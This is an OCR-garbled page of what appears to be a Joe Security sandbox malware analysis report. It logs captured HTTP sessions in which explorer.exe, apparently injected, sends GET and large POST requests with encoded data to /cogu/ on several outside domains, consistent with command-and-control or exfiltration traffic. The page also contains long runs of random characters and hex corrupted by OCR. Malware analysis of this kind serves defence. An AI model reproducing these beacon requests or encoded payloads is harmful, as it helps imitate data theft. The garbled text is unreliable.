c5TiGtwefhKSmkVARCJIVIIFUQHDvaV1JrgnefeRd8yg9-u-4q9WzG06HCRUIFKU(EHhK0ZIebMNcvTTnKCozZYYcv3
cDzvFU2b6smgwUuuPAwgdm76FLPxfNi7dPLKpYOTDDsqgsNpPgtChDIPorKIDKcjlcegNX9xpn8W~on5yFbn~g5NwPm
GulpxFkgallQxBnSljichZzgtkWmOPqVSewCst5qgOSZTHmMoDOLAG3J8QN6EPg8vzsX1jVvjunld7AnmFplfZEGwxxNga
NKaOmIQ(y6CFIF4PBfG80YpORXLvrOpxudOxRNfISJyeU17cqSvYk4V8FvpeUSLtCmOo_CQv1Gh914-sQCepAYcedj
7pCivbgrrxPWomYTj7rjDFhxkwrfy4SyESRNWHTBIIORTiB3FODI_eOnVdz7H8w7n6Q~KsF9tHIIDluavuSsKOMytW
WMM9bXhHiL Dkkkg(jhVGKnd2XinGF0JbXfVaasaiAk44IbfEZO8GFFzjAzqC-gOLKOUOZCnyEN_r4h5bgehmGxK51z
2(37s6VIXKRUIjYj7CYVIQILTOsDrt1js2GraGMMeWOP2IhCPiAmbmeG5KmvOFePapom480NeEXtelxA2nyR-REOah
IGLg3WrAt2gxL9GV98b5jdEBcD8sCR3zT8NOaxmrQOLOIBfIB7TKXeZkMTA06tNg1jxsvellsK3c5Me-t4npnw7NhWw
3ldLtc1S-gxP4kS45IWVLGEEGiSeSHRebkrffAOAfLDrcbmW-MPIRLSSV6EVBzQchd4FkSXxNAXDYumOUHZgtoi82VX
n8Lakf-70lFrTzZKnIWjCpmNp43Bk7fMT460RQodSSMntRNRfEDhxUAZL2UUxyxngprQO8ZNQ5HS9Yacl~r(350l1E
9zq(i8e1ZhC6NVmaAudm2URfb6IVSELPP3LIUCYPt90PbGTN-Lp60UEUrY_6jAVuVgfyPaoluzACg2pVIY7RhKjp3m
W1Hf0gJV_GcdMFBg-WiMCbhCKgQG6GsvkGLANC(tXOaiFsqwuTBR1IXEQmCgeJu6UpK9hnErdP-xI~lwmsGRNSVVVYGx
ZLIm-x7i_mgrnS1ip8Ek7psm6E0001GXiNHt-awl-Vryafdtv3aOda5Fa2yzu799W198IpsINL493kDE2Z 7xFLy1yCiNIRtIJabu
AaM86IcEFwmC8dPpKVm4i9HUpBb(xQ-g6ahQSXv7cztWiX5HBg292hGiZjloMzsMBeP4pkiSm1bMeQuESyayEvtLbx
L9R2eTVpZTpCeTHe20F85g8Ci07rwc10g~7hEZ6pX8vj22240u6X1al~47qLbdUOCTxyISDI4IWPVT{SSOGEUNIX1tC9-
LjOfYtmSYpVgLJISQIJ262myXc90sBIx_txQ-wmG9F8VTKm3t6HgvovVPCnrluUar(cdcjbhrelQ67 OUDTFAOINK
JNM(YVJIGIMtLu20AVIXI2yDxdZhaZCITDbynsPIGJd3WDeXJjBpLHpC6G5JayvECpEZyA4sKgEOfIWWP 2JWVIAVMSY
66E08jFaUngbQKoM_aerC5amAg4ealrAPd97AMV6w0-12rtGyOu8JILfFgjZXp~wPzfkigfOcd0akZgqOUL5uXJet0X|
kBWufyykSzVnx0yfVwHjyf0QcWw5uY ZILvxOkcly6ROKOKLAZ VI1vTkaFQDoFRKjXBg6cx CWukihLPPG9hJHvv1Bxd
Zr92EhJBKZKUM1GhfO6IIHOFhAIGWxquTgHOEFFUzKfn8sUFKPdu5SbOISaaPA_05R3XiigRw60L9~vbM4uDI40gQZ
cAJgUfrX510rJCI1pZkpigBoG2EItwFb8lYKn9WhVjoocreKQ2Irg9vryBSWOIvwUVLj-om7iYucneogiVpoZpaorECpvD3rb7tl
dSSMKYQSOKZCjvI3s5MJIA~TVaH2rsidQ2ecz6iVp4NBnILZ65fV49aXOMMLO8lyY4QY7GTbMg2mJgjCZneg4Jn5iRa
gsgUguuzrEGaMwV1ACu6goEA5nzLmgbgjdmn8yMAK74dCxaGwFoBM4CfaYIv7tlaE07aDdnMAR9rBboOgjajzAwps8
QIhRtRgkXx7sSs6uqgcn5SPmxNIsgXsJpZmuzI37RNE_~E2kXDuB9gmZ250mS3eWLWu2RwonB20B6Qtz5qUZ(17uMSo
xvgnkuxCu6-eQufI5Wwadx395wytXvHXAJTOU(WzyBtsZVDpThGOwT6171nR80J~My3Dfu-QernOALWOg9_tRYn5cC
DGWHCT]Cr8qSsSPzfxuP5X1Zq(IrmZ2SE7P2vGo(06yTO20X7Q3ufJ5B_hB1wLr6LKzu38pUduzXcdqz487e4EvIKn
83p1pn8Dy1gLgCmQ6fpD_RuGGQYyXmT7NbXmMNc70V3g7pa_HYghUTmFXPrWyvskiNQbJUIPTkM(0yz90syczm7HLtoc
Ims(ZMgDOCg~LHJ1UH_OGOIE-sUBIm6M5bwIK(GHfwquIXChmjA~BgELJ4v4jnonbvbNcDk3LdeKXctxY07agSSZdh
agqGruqCVyonw_ju578m4zvg2hWh~PSn14sVG1tPmX8iuzpAnQlajlkyW90RD5NnAIWpWYVPz6PeFnjf904ph3ga29HI
qnx5eSg24ixC-GbUKzlYN4VuSOrhodHzO(f3XRtVsdvjp4e053D(S871SX5QMVsxh30elXbzBPdZynAjEtHgKgecMIw
0~5SnibWuwSC5HIYfylQiPXzHLgjvfGQW9h5dXWLeKggnkk4VunokROWIFUfplaDYIpp3rp~YhtktMTzSCG7_1xDO7
_bBn5bvc63yiYBkt6DFb67LrthotqBPxZSi06klYWIfuTRKEeK53u60174Ro-(YRFX2(910KgQMzoXB9_7w3vwrlboMcmRZryl

HTTP/1.1 405 Not Allowed

Date: Wed, 13 Oct 2021 13:53:05 GMT

Content-Type: text/html

Content-Length: 154

Connection: close

Server: namecheap-nginx

Allow: GET, HEAD

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>openresty</center></body></htm|>

Destination IP Destination Port Process

172.217.168.33 443 C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe

Data
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Session ID Source IP

50 192.168.11.20

kBytes
Timestamp transferred
Oct 13, 2021 8005

15:53:05.395910025 CEST

Session ID Source IP

51 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 8018

15:53:10.739622116 CEST

Copyright Joe Security LLC 2021

Source Port

49847

Direction

ouT

Source Port

49848

Direction

ouT

Destination IP Destination Port Process

198.54.117.210 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=XU0191KcVQfEEWSMJI9UBY nICa/I+dhdLiWjI TAS8DRbwOP6fYUmdo8NYhzdUy3C+FUJf&EVpdF=D
6AIWhC HTTP/1.1

Host: www.domainair.biz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

204.141.43.204 80 C:\Windows\explorer.exe

Data

POST /cogu/ HTTP/1.1

Host: www.nazfoodstuff.com

Connection: close

Content-Length: 131140

Cache-Control: no-cache

Origin: http://www.nazfoodstuff.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.nazfoodstuff.com/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 43 6d 6f 71 70 50 7a 6c 4e 68 55 38 65 76 78 55 39 4f 6f 59 4a 38 4a 50 78 55 6b 6d 31 49 79 45 35
68 78 6f 79 53 4b 74 58 49 62 33 48 73 57 78 51 76 4f 65 6e 36 4e 4f 46 59 33 4c 37 46 7e 3559 44 7e 43 56 6e 31 52 62
4c 71 73 74 6f 41 79 65 4e 4b 4a 64 54 47 31 78 54 6d 58 47 5f 46 64 45 72 57 73 43 61 30 67 57 54 54 6e 50 4c 51 33
6b 3852 7a 71 35 62 53 51 52 53 78 33 72 6b 45 65 53 32 79 68 4e 6e 4f 32 54 35 5a 53 32 4a 4c 4a 38 44 2d 45 6¢ 38
64 72 33 4d 32 46 68 73 37 4b 6a 6b 5f 63 57 41 58 59 30 78 61 62 5a 6b 36 77 55 64 33 6¢ 4c 56 46 61 37 71 65 6f 72 4a
4d 47 4c 4c 72 51 71 75 75 58 48 64 5f 6e 6¢ 59 57 76 67 61 46 4b 79 62 72 36 6¢ 68 77 37 68 51 3347 70 34 31 66 77 4
e 69 35 38 39 34 59 5a 59 38 7a 53 28 6d 4b 6¢ 46 6b 64 74 4a 6d 76 35 68 30 30 48 50 63 6b 6b 57 32 28 53 7a 58 33 6f
53 43 63 37 49 7a 6f 52 34 63 36 73 36 6f 7a 79 50 49 6b 64 74 79 76 36 4e 70 66 58 49 50 79 6a 50 4d 73 70 31 69 48
63 6b 57 66 4f 6¢ 36 4f 34 32 41 39 34 5a 62 72 46 79 64 62 6d 6b 76 6¢ 7a 36 35 34 34 5a 74 78 43 36 54 69 79 76 54 50
63 44 35 4d 31 49 75 4d 4b 6e 67 49 43 52 61 64 49 58 46 4c 79 64 31 38 5a 66 57 51 64 64 50 76 49 5a 6d 4e 52 37 55
28 78 51 47 62 76 32 68 44 6b 7e 33 77 46 6a 2d 45 68 54 45 69 68 76 74 6e 42 78 32 73 79 57 78 55 44 54 73 4f 37 37
78 6d 52 6d 4c 61 77 42 45 6b 64 56 33 57 6¢ 52 77 50 7a 6b 7a 5a 69 73 54 77 2d 42 46 76 75 38 75 62 4d 73 4d 63 49
54 57 46 45 36 39 71 7a 73 66 48 6b 50 75 6b 5f 30 56 62 30 4d 6d 58 33 44 2d 70 38 74 5a 79 78 33 57 43 64 4b 38 74
41 36 76 76 4e 45 68 4c 4c 6¢ 54 69 66 76 77 61 6¢ 67 45 45 7a 53 79 6d 65 70 6e 58 54 6a 4b 53 34 79 73 6d 4f 32 70
3539 75 65 48 69 67 30 56 4d 71 54 4f 50 67 53 39 36 53 57 44 48 5a 74 53 4¢ 50 74 6¢ 31 33 58 67 44 45 34 6d 62 70
38733045 6f52 62 51 50 79 65 4e 5a 67 44 47 7a 31 63 58 39 5a 47 73 44 6b 67 56 76 6d 35 69 43 5a 62 7e 74 41 77
387035 36 76 7a 42 4e 28 66 55 39 65 2d 5a 69 7a 66 6¢ 5a 51 53 46 51 45 79 47 50 49 4f 62 35 33 5a 68 79 6e 30 4b
63 30 7a 7a 4f 35 39 69 2d 73 64 6a 45 62 35 30 42 7a 49 56 66 72 42 49 78 7a 47 39 51 78 31 6f 43 46 61 5a 31 51 6a 6
272 4a7146 61 63 45 6f 44 6a 38 6f 57 76 68 73 58 64 6e 30 30 6b 49 35 55 59 38 46 39 38 58 62 44 41 7a 4f 59 32 79
59 51 67 4a 5a 32 50 70 74 59 47 41 7e 41 75 33 58 37 42 78 30 37 4f 7a 75 50 42 6b 34 4a 45 41 30 76 4a 54 41 68 34
38 72 37 76 64 73 4f 34 4c 4f 6d 72 41 53 42 36 66 62 4a 55 33 4a 48 55 39 4d 50 62 65 4a 52 7a 49 73 6¢ 51 37 47 34 75
57 66 34 69 6e 28 41 4c 42 34 67 43 76 69 35 47 37 6¢ 73 37 34 55 71 4d 5a 49 51 4d 48 43 74 56 68 65 70 64 6b 78 49
52 50 4e 57 53 6f 73 32 48 38 6a 51 75 44 36 6b 66 36 63 53 62 7a 71 70 39 48 6e 35 6f 55 78 48 70 57 4b 7a 7a 31 57
4e 50 6¢ 48 42 39 58 46 64 4f 61 4b 37 51 70 38 67 4b 7a 6f 79 7e 56 6b 43 6d 63 62 77 37 48 34 78 37 4c 31 45 36 45 50
54 67 6¢ 34 59 68 48 38 49 50 42 30 70 55 43 30 61 73 66 71 58 78 76 76 50 44 73 77 6¢ 4d 69 32 67 6¢ 68 4C 30 47 4b
55 61 59 6e 30 42 50 7a 31 65 38 68 39 35 62 39 55 76 6b 35 5a 6¢ 71 38 73 54 47 4e 74 33 64 68 79 58 71 37 68 73 48
353867 4359 58 69 34 53 6d 74 6d 56 6f 54 43 6¢ 69 77 44 72 36 48 76 65 42 4c 4b 34 66 68 53 62 52 71 41 6b 48 6a
7571 4174 6f4b 76 6d 47 30 6e 6d 32 74 72 79 4f 4a 5a 55 43 2d 48 59 7a 45 71 4b 44 68 79 6¢ 39 32 38 38 57 5a 56
46 76 44 56 74 51 62 5a 54 72 38 28 38 7e 51 66 78 69 71 4a 4a 6f 61 54 46 44 2d 31 69 71 49 61 61 6d 57 71 79 58 58
63 6e 41 6¢ 48 66 59 6a 55 37 61 6d 35 75 42 64 53 46 41 30 76 77 55 43 7a 62 7a 69 56 32 58 35 62 62 76 39 49 7a 7e
322857 6a 77 58 61 48 4c 70 4c 4e 58 5a 5f 56 76 31 4a 39 47 4c 44 41 45 6d 34 7a 58 72 2d 39 63 37 65 49 48 39 6b 4
846 70 69 36 6d 30 78 62 72 72 33 38 48 43 79 39 54 38 46 54 70 35 62 4c 33 51 64 47 52 69 53 64 46 78 7a 56 65 72
62 34 41 4f 52 50 49 4e 64 50 63 58 4d 76 68 62 4f 31 75 6b 62 73 5a 51 38 28 68 31 52 30 69 42 7a 6d 61 6a 4c 49 32 47
52 58 47 77 74 63 59 42 42 49 36 30 6e 62 53 28 73 4d 45 53 47 58 6a 57 63 78 53 6f 76 67 36 68 35 73 6d 5a 63 39 49
7337 52 6b 64 5a 76 51 66 42 34 31 75 35 39 38 70 66 56 36 67 4d 31 75 50 6¢ 46 57 54 76 71 58

Data Ascii: E6=CmoqpPzINhU8evxU900YJ8JPxUkm1lyE5hxoySKtXIb3HsWxQvOen6NOFY3L7F~5YD~CVn1RbLq
stoAyeNKJIAdTGIXTmXG_FdErWsCa0gWTTnPLQ3k8Rzq5bSQRSx3rkEeS2yhNnO2T52S2JLJ8D-EI8dr3M2Fhs7Kjk_c
WAXY0xabZk6wUd3ILVFa7georJMGLLrQquuXHd_nlYWvgaFKybrélhw7hQ3Gp41fwNi5894YZY8zS(mKIFkdtImvsh
00HPckkW2(SzX30SCc7IzoR4c6s60zyPlkdtyv6NpfXIPyjPMspliHckWfOI6042A94ZbrFydbmkviz6544ZtxC6TiyvTPcD5M1I
uMKngICRadIXFLyd18ZfWQddPvIZmNR7U(xQGbv2hDk~3wFj-EhTEihvtnBx2syWxUDTsO77xmRmLawBEkdV3WIRwP
zkzZisTw-BFvu8ubMsMcITWFE69qzsfHkPuk_0VbOMmX3D-p8tZyx3WCdK8tA6VWNELLITifvwalgEEZSymepnXTj
KS4ysmO2p59ueHigOVMgTOPgS96SWDHZtSLPt13XgDE4mbp8s0EoRbQPYyeNZgDGz1cX9ZGsDkgVvm5iCZb~tAw8p5
6vzBN(fU9e-ZizflZQSFQEYGPIOb53Zhyn0Kc0zz059i-sdiEb50BzIVfrBIxzG9Qx10CFazZ1QjbrigFacEoDj8oWvhsXdn0OkI5
UY8F98XbDAZOY2yYQgJZ2PptY GA~Au3X7Bx070zuPBk4JEAOVITAh48r7vdsO4LOMrASB6fbJU3JHUIMPbeJRzISIQ
7G4uWf4in(ALB4gCvi5G7Is74UgMZIQMHCtVhepdkxIRPNWSo0s2H8jQuD6kf6cShzqp9HN50UXHpWKZzzIWNPIHBIXF
dOaK7Qp8gKzoy~VkCmchw7H4x7L1E6EPTgI4YhH8IPBOpUCOasfgXxvvPDswIMi2glhLOGKUaYn0BPz1e8h95b9Uvk
5Z1g8sTGNt3dhyXq7hsH58gCYXi4SmtmVoTCliwDr6HveBLK4fhSbRgAkHjugAtoKvmGOnm2tryOJZUC-HYzEqKDhy
19288WZVFvDVtQbZTr8(8~QfxigJJoaTFD-1liglaamWayXXcnAlHfYjU7am5uBdSFAOvwUCzbziV2X5bbv9lz~2(Wj
wXaHLpLNXZ_Vv1J9GLDAEmM4zXr-9c7elHIKHFpi6mOxbrr38HCY9T8FTp5bL3QdGRISdFxzVerb4AORPINdPcXMvhb
01ukbsZQ8(h1R0iBzmajLI2GRXGwtcYBBI60nbS(SMESGXjWcxSovgbh5smZc9ls7RkdZvQfB41u598pfVe6gM1uPIF
WTvgXs2r8NFuiQ-1rbBvkINOxvNMPBWaleYZNTZ9E6kgzNM73DnettnW6iV5y TvfavshUj4BW13jPRajxtKcCaRki2
yYzxDICnOCDIBzmmDoUP_4_vHEhw4nUVIz3i-eQyxYH3CO0BvVkKIYVTTbKncnzlgY8MYPON2pUnvDpZsSszgNLPfOK
7MawwCAMc6WWBE2cG1RbsvCrNVYP38PD2XZQSQ8KQJI3e TnK5mM5k8ipXQv4sAY GI7HLjoZErfJE9nbb45204Rfgv~dg
fSaAJsBWIZEbJhDZv(ZUm8Z8Gv1InOZap7eaEUOe_G-CRrM2srrAADXXv517r2VmzpjUdjMA28-X6PVUHWsU-iO3Hc
ZU4AEYYI2EWW(qiRRHks7euc151FgmPwAXxc3-L_7L1ZN9grCkwcK8QoUd4XLuDAX5UEdYnjgMBLI43pghzOjeT9GYpTE
5bArQcvF2H_SwK-~Rjw68lgWzFIVFRCE(Em7xQiNbjdB(RFORJvn55zHZio4DX~0DagdA23v3VSAEk~bC1luW2vg2w

IH5teeniETNwsazzU6dUE5aGw0nJeWCVw3K0O3efaP3aHC9Jsr3EVSrrwKMDZ4SiaDe MFvGZ8vb3Senk2z20EKVAXG
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kBytes
Timestamp transferred

Oct 13, 2021 8144
15:53:11.405528069 CEST

Session ID Source IP

52 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 8042

15:53:10.904226065 CEST

Copyright Joe Security LLC 2021

Direction

Source Port

49849

Direction
ouT

M~65CqghmNEVMZPx1HYPCt5LZW6lh3DstUH4VKSLwUOmMYuGRCI17eAAxa25F6wzWI2xIrNfxRt(hONG_70gHj8cXyMR
Batzpk_cvNJy2nlwMpglc6kd3SPSVQIUjAMe2xHWDjNbX4110e0gPjlsKcsGILMgpfKm3GR5LEHMWQfHQD4S7gngxc
eCvOMntJdcwZsKbVNtjaYen5qg4gexTXXNU-zxKNnZG85MaQnM79yliuFFJI85S5MbCZ6EDh3rN8Whhj2T87CubC1Hi
SeXiu3dfXUZDZQA0lK3iOPCOcqDNifvOaWROOS5LRDsuYHrh2M~TSc30g1NJQ3CBwrXsxSgvXT4pPI1IDro3eUP3t85u
mMAPSneg65kQA42bywSP9-ER9tm34-mQ6w720FAsxF474Vv2rzAzgJbuyEUL(mDzlyk_rMkndgzLgjghy6roAll6yjQ
yOTIhVWSC46wTHej2voojhdluGwcFt9imFVACbhoXU8IpgVniKgVElkpn9_KUmoZIBF4K6on79ecCyKM17rxjLkWTo
0SunQ(jwVGNOKERMPy20Zsx~IC-qfP406gay7iDU6GmKol-SJuBITNsjRwlasd1HzGFdMFwyNdPWo(1HW3WDhTBNY;j
YOP5zvo(VFcMwvX8Hct5PLxp8(sKLi81W71YWCQ1x71xODpUOuUzTIPbBsJL1yXDaVzTenEqyD6B_pTEbhre6POfwR3V-
kdy0tUOengJwcHZdGC2AJRYVKNB_i3GZgWnnz_pdPK5QxL3smW5n(uJx2taifiZbgDjcPsWTck(tgkWUYn4rhcn
y2jpwSoarhhsXvU1lc~FveoS89Y;iFlY~4tEC2pO(BVomsLf(X3JKudA3EWIQWILNgOc3EVsAtNkeUDHXIIM1nw9otW
wzLjCv_evC2mse6sUpE61uHsU9arwy 4S7065hR8HU_Prd72hrz8yPyPsGBFDX9DKn-0YOK2fN4tjogTh3SuAmk1DQ
kgpPSk0405WeG5LBgga3vpXU4Q5AXe42JyX4tv6ul3CraybRahqQJIxeQfoAQvcAAAGIWwWQXy1C9bel[EJQiZXFLIox
NdA39RS1r6tHUINCPfhBsQ3hMQotXonVPXCLV84tL EuUDLRQKbL3L6Fct5amfPlgiLsAMTHAhpCcTvUEvVqadWmr46t
gm5IRuxPyhbzL6JhgWTh7zr66qUmzV6k5ykpQpxblmxNu85f69vHZnIxtZ9Y07czTWjaLm_c1412HFKGGH4bHBCmQo
IVXFbwwWy7XEXFMXdOAJEyKyE8fascziem7dIEBODi4DvZeDybXKowHC1j6lgDzVDL-68A70n7kHWdzkgUYD9Syhbl
UEQYThpUA9KagjHngnV9DC_welErDmB06Mz9S02IZQDrALFcdm7~2AykF~0G_t8smccDwRkd_GTrYuYs3t6FtTLOkX
aABu1Z6aCvqVCYzKYJiR5hnv3i0s-UjWjXFB_ugtniiSwn-UMpJHQQZGKkMfDIgNWTvgSD5p90Z0fl4k8waKE8PmZcc
20kQAwbSyPd8KIZKDuTjIXcAY4HNyKe8Qjf8e63X8NN(8r1Z1ixA17VnnofEhflcnXBp7xIHKZFVRXSTKH4DLmMjKmk
6YK4eGCilEJSMgTyepg~VewKM7mss9gT_CloqdP1w0DoOzlIxaRsARsWKoOB1B9uf5VyKRIXCAVErM_8-XWyX8hrQO
ffQgAq6aN~Xt53cGIBm3dDugMLRE7itCtnxajEETaZEkr3pccmRPebPwnqW5gGyMV7eC-en80sBcTgAqP]_mQ76rx8
YVMxhJaCf4hzOXq1lWtOPrVIzpjRP5Yc8I(A5JcSc5Py2g0N5Xak~ouWR8S0GIPNcGYaqlFDGz7j~ZgIVZgtZyERuil
sfuxsNdnjwn2G~7BT4vD_n-w1gJooE-AoZt5Zp7jo2ZQcYpeAZghTetC7tm~ICaYjVRf_P4EXFDPdZ6fDleTmn89MF
gMnRgZMEkQ6n1z_flzZAKVmMP2xRPoPjb8Qw_GdzA1D7112NkVHZLi97XyjgcyF3zRhay30D399p3cOk_BiAiwrlGPZX
IWalZSRXVU-tLbFLzFsTGgSnTtsh

HTTP/1.1 400

Server: ZGS

Date: Wed, 13 Oct 2021 13:53:11 GMT

Content-Type: text/html;charset=1SO-8859-1

Content-Length: 80

Connection: close

Set-Cookie: Ocea9df7db=cd858cf068bec389eea549b00143a3a9; Path=/

X-XSS-Protection: 1

Set-Cookie: csrfc=a84b1470-9c73-4bd8-8a26-9563f75a7c5a;path=/;priority=high

Set-Cookie: _zcsr_tmp=a84b1470-9c73-4bd8-8a26-9563f75a7c5a;path=/;SameSite=Strict;priority=high

Set-Cookie: JSESSIONID=7402ACD609570D1C7C1A2F54E5A3AD6F; Path=/; HttpOnly

Data Raw: 7b 22 72 65 73 70 6f 6e 73 65 5f 63 6f 64 65 22 3a 22 34 30 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a
2231 22 2c 22 64 65 76 65 6¢ 6f 70 65 72 5f 6d 65 73 73 61 67 65 22 3a 22 49 6e 76 61 6¢ 69 64 20 69 6e 70 75 74 2e 22
7d Oa Oa

Data Ascii: {"response_code":"400","status_code":"1","developer_message":"Invalid input."}

Destination IP Destination Port Process

204.141.43.204 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=NkcQ30DOYkJIGNuUF95ZpkIKht5WO0ulo+Ok2Me3ITyYaTuJ86BWuzspf8yVeXKwyiufl+B&EVpdF=D
6AIWhC HTTP/1.1

Host: www.nazfoodstuff.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Oct 13, 2021 8100
15:53:11.075000048 CEST

Session ID Source IP

53 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49850

Direction

Data

HTTP/1.1 404

Server: ZGS

Date: Wed, 13 Oct 2021 13:53:10 GMT

Content-Type: text/html

Content-Length: 4647

Connection: close

Set-Cookie: Ocea9df7db=0f71d2b25c73f2883ce01c2fd3c97eb8; Path=/

X-XSS-Protection: 1

Set-Cookie: csrfc=15d53938-c996-4d36-8de4-bdf071a5a6bb;path=/;priority=high

Set-Cookie: _zcsr_tmp=15d53938-c996-4d36-8de4-bdf071a5a6bb;path=/;SameSite=Strict;priority=high

Pragma: no-cache

Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate

Expires: Thu, 01 Jan 1970 00:00:00 GMT

vary: accept-encoding

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 3e 0a 20 20 20 3c 68 65 61 64 3e 0a 20 20 20
2020 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6 69 6e 64 65 78 2
20 6e 6f 66 6f 6¢ 6¢ 6f 77 2¢ 20 6e 6f 61 72 63 68 69 76 65 2¢ 20 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0a 20 20 20 20
2020 3c 74 69 74 6¢ 65 3e 5a 6f 68 6f 3¢ 2f 74 69 74 6¢ 65 3e 0a 20 20 20 20 20 20 3c 6¢ 69 6e 6b 20 74 79 70 65 3d 22
74657874 2f63 73 7322 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 77 65 62 66 6f 6
7473 3f 66 61 6d 69 6¢ 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2¢ 36 30 30 22 3e 0a 20 20 20 20 20 20 3c 73 74 79
6¢c 65 3e 0a 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d
69 6¢ 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20
20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 70 7
8 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 70 78 3b 20 0a 20 20 20 20 20 20 20 20 20
2020 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 66 35 66 35 66 35 3b 0a 20 20 20 20 20 20 20 20 20 7d Oa
20 20 20 20 20 20 20 20 20 2e 74 6f 70 43 6f 6¢ 6f 72 73 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f
75 6e 64 3a 20 2d 6d 6f 7a 2d 6¢ 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 6¢ 65 66 74 2¢ 20 23 66 30 34 37 33 64
20 30 25 2c¢ 20 23 66 30 34 37 33 64 20 32 35 25 2¢ 20 23 30 34 39 37 33 35 20 32 35 25 2¢ 20 23 30 34 39 37 33 35 20
35 30 25 2¢ 20 23 30 30 38 36 64 35 20 35 30 25 2c 20 23 30 30 38 36 64 35 20 37 35 25 2¢ 20 23 66 64 63 30 30 30 20
37 3525 2c 23 66 64 63 30 30 30 20 31 30 30 25 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75
6e 64 3a 20 2d 77 65 62 6b 69 74 2d 6¢ 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 6¢ 65 66 74 2¢ 20 23 66 30 34 37
3364 20 30 25 2c 20 23 66 30 34 37 33 64 20 32 35 25 2¢ 20 23 30 34 39 37 33 35 20 32 35 25 2¢ 20 23 30 34 39 37 33
3520 35 30 25 2¢ 20 23 30 30 38 36 64 35 20 35 30 25 2¢ 20 23 30 30 38 36 64 35 20 37 35 25 2¢ 20 23 66 64 63 30 30
30 20 37 35 25 2c 23 66 64 63 30 30 30 20 31 30 30 25 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72
6f 75 6e 64 2d 73 69 7a 65 3a 34 35

Data Ascii: <IDOCTYPE html><html> <head> <meta name="robots" content="noindex, nofollow, noarchive, nos
nippet" />  <title>Zoho</title>  <link type="text/css" rel="stylesheet" href="/webfonts?family=Open+Sans:400,600">
<style> body{ font-family:"Open Sans", sans-serif; font-size:11px; margin:opx;

padding:0pXx; background-color:#f5f5f5; } .topColors{ background: -moz-linear-gradient(left,
#f0473d 0%, #f0473d 25%, #049735 25%, #049735 50%, #0086d5 50%, #0086d5 75%, #fdc000 75%,#fdc000 100%);
background: -webkit-linear-gradient(left, #f0473d 0%, #f0473d 25%, #049735 25%, #049735 50%, #0086d5 50%, #0086d5
75%, #fdc000 75%,#fdc000 100%); background-size:45

Destination IP  Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

Page 54 of 136



kBytes

Timestamp transferred Direction Data
Oct 13, 2021 8147 ouT POST /cogu/ HTTP/1.1
15:53:16.101578951 CEST Host: www.cacaolixir.com

Connection: close

Content-Length: 131140

Cache-Control: no-cache

Origin: http://www.cacaolixir.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.cacaolixir.com/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 63 4e 4a 30 44 6d 41 53 6d 7a 66 76 6¢ 42 59 73 35 6d 4e 32 4a 45 34 6e 70 37 74 43 39 39 6d 32 55
526261 73 51 51 36 50 50 7e 3941 73 64 38 77 41 71 49 35 57 58 4b 57 5f 6d 32 54 37 51 45 46 42 33 5f 35 79 49 4d
